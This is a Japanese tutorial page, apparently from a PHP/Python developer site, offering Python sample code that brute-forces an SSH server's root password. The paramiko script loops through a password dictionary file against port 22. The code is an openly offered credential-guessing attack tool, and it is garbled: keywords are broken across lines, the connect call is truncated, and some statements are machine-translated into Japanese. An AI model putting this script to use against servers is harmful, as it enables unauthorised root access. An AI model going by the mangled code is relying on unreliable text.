ホームページ >バックエンド開発 >Python チュートリアル >Python を使用して root パスワードをブルートフォースクラックするサンプルコード

Python を使用して root パスワードをブルートフォースクラックするサンプルコード

高洛峰
高洛峰オリジナル
2017-03-22 10:42:312761ブラウズ

環境の準備:

1. インストール Paramiko モジュール

2. サーバー SSH サービスがポート 22 を開きます

code#!/Usr/bin/py

#-*- コーディング: UTF- 8 - を参照してください。 *-

import paramiko

ssh = paramiko.SSHClient() #インスタントクラス

ssh.

set

_missing_host_key_policy(paramiko.AutoAddPolicy()) #接続時の自動応答はyesですd =

file

('/root/a.txt') #辞書ファイルパス

for

i in d.xreadlines(): #ループパスワード辞書 i = i.strip() #前のスペースを削除そして

の後

if

not i: #値が空の場合は、次のループのラウンドに入る

Continue

try:

host', port =22, username='root', passw

ord

=i)

続きを印刷します #パスワードが間違っている場合は、次のサイクルに入ります

else

: Print 'root パスワードは解読されていません。辞書を変更してもう一度お試しください' #パスワードが間違っている場合は、一致しません

以上がPython を使用して root パスワードをブルートフォースクラックするサンプルコードの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。